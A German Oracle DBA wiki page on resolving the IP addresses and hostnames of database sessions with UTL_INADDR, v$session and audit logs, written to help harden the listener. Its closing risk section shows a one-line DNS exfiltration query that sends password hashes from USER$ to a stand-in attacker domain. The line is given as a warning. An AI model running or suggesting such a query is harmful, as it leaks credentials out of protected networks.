Benutzer-Werkzeuge

Webseiten-Werkzeuge


dba:oracle_get_ip_adress_hostname

nslookup in der Datenbank - mit SQL die IP Adresse einer angemeldeten Session ermitteln

min. ab 10g

Die Aufgabe besteht darin, in einer Datenbank Umgebung zu prüfen, aus welchen Netzen sich Server und PC's an der Datenbank anmelden.

Die gesammelten IP Adressen können dann wiederum verwendet werden um mit einer Acess Liste den Listener der DB zu härten.

 An der Küste der unteren Toskana Höhe Piombino mit Blick auf Elba

In der MACHINE Spalte der v$session wird der Name eines Servers ablegt. Allerdings nur die der Form wie der SQL*Net Client auf dem Servers diese erkennt und dann auch zum Server überträgt.

Daher können auch gelegentlich sehr untypische oder unvollständige Namen gefunden werden. Auch kann natürlich der Name gefälscht worden sein, der DB Server hat ja keine Möglichkeit das zu prüfen.

Manuell Abfragen der Server Namen

Will man nun die IP Adresse dazu ermitteln, kann ein nslookup in der Datenbank durchgeführt werden.

Über SQL*Plus mit dem dazugehörigen DB Funktionen:

format RESULT a40
 
-- NS Lookup auf einen Namen
SELECT UTL_INADDR.get_host_address('www.pipperr.de') AS RESULT FROM dual;
 
--  NS Lookup auf ein IP Adresse
SELECT UTL_INADDR.get_host_name('10.10.10.1') AS RESULT FROM dual;
 
-- Name des DB Servers
SELECT UTL_INADDR.get_host_name AS RESULT FROM dual;
 
-- die IP Adresse des Datenbank Servers
SELECT UTL_INADDR.get_host_address AS RESULT FROM dual;

Netze und 0.0.0.0 abfragen:

-- 0.0.0.0 and :: will be resolved to the hostname of the DB
SELECT UTL_INADDR.get_host_name('0.0.0.0') AS RESULT FROM dual;
SELECT UTL_INADDR.get_host_name('::') AS RESULT FROM dual;
 
-- if you query a network it take a suspicion long time to get an error
-- May be an attack vector .-)
SELECT UTL_INADDR.get_host_name('255.255.255.0') AS RESULT FROM dual;

Unter Oracle 12c muss allerdings die Netzwerk Security es zulassen, das hier das DNS Protokoll aus der DB heraus genützt werden kann. Als SYS User scheint das aber keine Rolle zu spielen.

Bei einem „ORA-24247: Netzwerkzugriff von Access Control-Liste (ACL) abgelehnt“ muss hier dann eine entsprechende ACL hinterlegt werden, siehe DBMS_NETWORK_ACL_ADMIN - Oracle 12c Doku

Beispiel für 12c für den User Scott:

BEGIN
  DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE(
  host => '*',
  ace  =>  xs$ace_type(privilege_list => xs$name_list('resolve'),
                       principal_name => 'scott',
                       principal_type => xs_acl.ptype_db)); 
END;
/
commit;

Die ACL Definition ist allerdings mit höchster Vorsicht durchzuführen und benötigt für produktive Maschinen jetzt noch mehr Recherche und Vorsicht! Auf den ersten Blick ist das nicht so recht transparent welche Seiteneffekte hier auftreten können und was dann plötzlich alles zusätzlich noch so ungewünschtes funktioniert!


Alle IP Adressen der Remote Maschinen aus der v$session ermitteln

Im ersten Schritt wird daher versucht eine Liste aller Remote Server Namen + IP Adresse zu erstellen.

Dazu wird eine Hilfsfunktion erstellt um die möglichen Exception besser verarbeiten zu können. Auch muss für die Namesauflösung der Domain Part der Windows Maschinen entfernt werden.

Die Hilfsfunktion im einen None-SYS Schema anlegen:

-- Function to normalise the server names and resolve ip address
-- Don't create this is a SYS or SYSTEM Schema!
 
CREATE OR REPLACE FUNCTION scott.resolve_machine_name(p_machine  varchar2)
RETURN varchar2
IS
	HOST_NOT_FOUND EXCEPTION;
	PRAGMA exception_init(HOST_NOT_FOUND, -29257);
	v_remote_name varchar2(255);
	v_return varchar2(512);
BEGIN
	-- remove the windows Domain if exits
	IF instr(p_machine,'\') > 1 then
		v_remote_name:=substr(p_machine,instr(p_machine,'\')+1);
	else
		v_remote_name:=p_machine;
	end if;
 
	-- resolve Name
	begin
		v_return:=UTL_INADDR.GET_HOST_ADDRESS(v_remote_name);
	exception 
		when HOST_NOT_FOUND then
			v_return:='IP NOT resolved';
		when others then
			v_return:=sqlcode|| '-'|| sqlerrm;
	end;
 
	return v_return;
end;
/

v$session abfragen mit:

-- Query the v$session
COLUMN machine     format a30
COLUMN pc_name     format a30
COLUMN domain_name format a20
COLUMN ip_adress   format a16
 
 
SELECT COUNT(*) AS connections
      ,LOWER(machine) AS machine
      ,LOWER(substr(machine,0,instr(machine,'\')-1)) as domain_name
      ,lower(substr(machine,instr(machine,'\')+1)) as pc_name
      ,scott.resolve_machine_name(p_machine => machine) as ip_adress
  from v$session
group by machine
/
 
 CONNECTIONS MACHINE                        DOMAIN_NAME          PC_NAME                        IP_ADRESS
------------ ------------------------------ -------------------- ------------------------------ ----------------
           1 workgroup\jupiter              workgroup            jupiter                        192.168.178.26
          37 jupiter                                             jupiter                        192.168.178.26
         

Steht das Diagnostic Pack zur Verfügung kann auch die Vergangenheit über die GV$ACTIVE_SESSION_HISTORY oder die DBA_HIST_ACTIVE_SESS_HISTORY der DB betrachtet werden:

SELECT COUNT(*) AS connections
      ,LOWER(machine) AS machine
      ,substr(LOWER(machine),0,instr(LOWER(machine),'\')-1) as domain_name
      ,substr(lower(machine),instr(lower(machine),'\')+1) as pc_name
      ,scott.resolve_machine_name(p_machine => lower(machine)) as ip_adress
  from DBA_HIST_ACTIVE_SESS_HISTORY
group by lower(machine)
/

Nicht alle Namen lassen sich dann so leider auflösen, je nach dem wie gut und nah der Datenbank Server in das DNS der Firma eingebunden ist.

Die Daten können nun in eine Excel Liste übertragen und weiter aufbereitet werden.

Soll auch das automatisiert werden, kann das zum Beispiel über Python oder die PowerShell erfolgen.

DNS Abfrage mit Python:

import socket
result=socket.getaddrinfo('jupiter',None)
for record in result:
     ip=record[4]
     ip[0]

siehe 18.1. socket — Low-level networking interface

DNS Abfrage mit der Powershell:

(Resolve-DnsName jupiter).IpAddress

siehe TechNet Resolve-DnsName

Daten einlesen, mit diesen Methoden die Daten analysieren, CSV Datei aus den Daten erstellen und speichern. Das kann auch direkt über die Datenbank Tabelle erfolgen, entsprechend dann zuvor an der DB anmelden, Daten abfragen und Ergebnis CSV erstellen.


IP Adressen aus dem Audit Log auslesen

Kann über DNS die IP Adresse nicht aufgelöst werden hilft auch ein Blick in das Audit Log der Datenbank.

Ist das Auditing aktiviert, kann über die Spalte „comment_text“ beim LOGIN/LOGOFF Event der SQL Connect Strings nach der Client IP Adresse analysiert werden:

SELECT COUNT(*)
     , userhost
     , comment_text
  FROM dba_audit_trail
WHERE action_name IN ('LOGOFF','LOGON') 
   AND UPPER (userhost) IN  (UPPER (‘primgpi01’),UPPER (‘primgpi01.local’))
GROUP BY userhost,comment_text
ORDER BY 1
/
 
....
1 primgpi01.local  Authenticated BY: DATABASE; Client address: (ADDRESS=(PROTOCOL=tcp)(HOST=10.10.10.23)(PORT=43795)) (PROGRAM="JDBC Thin Client")
....

Falls das Auditing nicht aktiviert ist, hilft dann noch der Blick in das Listner Log.


Risiko der DNS Auflösung über die Datenbank

Ist der Datenbank Server an einen DNS Server mit Weiterleitung von Namensanfragen an das öffentliche Netz verbunden, kann das sehr schön dazu verwendet werden, die Daten aus dem internen Hochsicherheitsnetz der Firma zu exportieren.

Einfach die Subdomain mit den zu übertragenden Wert definieren und einen eigenen Domain Server für die eigene Domain im Internet betrieben.

Da alle unbekannten Subdomain Anfragen an den Authoritative DNS Server delegiert werden, können dann im Log einfach die gewünschten Daten wieder gefunden werden.

SELECT UTL_INADDR.get_host_address(password||'.theEvilDBA.cn') FROM USER$
/

Gibt zwar auf der DB sehr viele Fehlermeldungen aber die Daten tauchen gleichzeitg dann auch im Log des DNS Server für die Domain „theEvilDBA.cn“ auf.

Quelle: Viele Diskussionen und Fachgespräche mit Alexander Kornbrust.


Quellen

Cookies helfen bei der Bereitstellung von Inhalten. Durch die Nutzung dieser Seiten erklären Sie sich damit einverstanden, dass Cookies auf Ihrem Rechner gespeichert werden. Weitere Information
"Autor: Gunther Pipperr"
dba/oracle_get_ip_adress_hostname.txt · Zuletzt geändert: 2015/11/23 19:49 von Gunther Pippèrr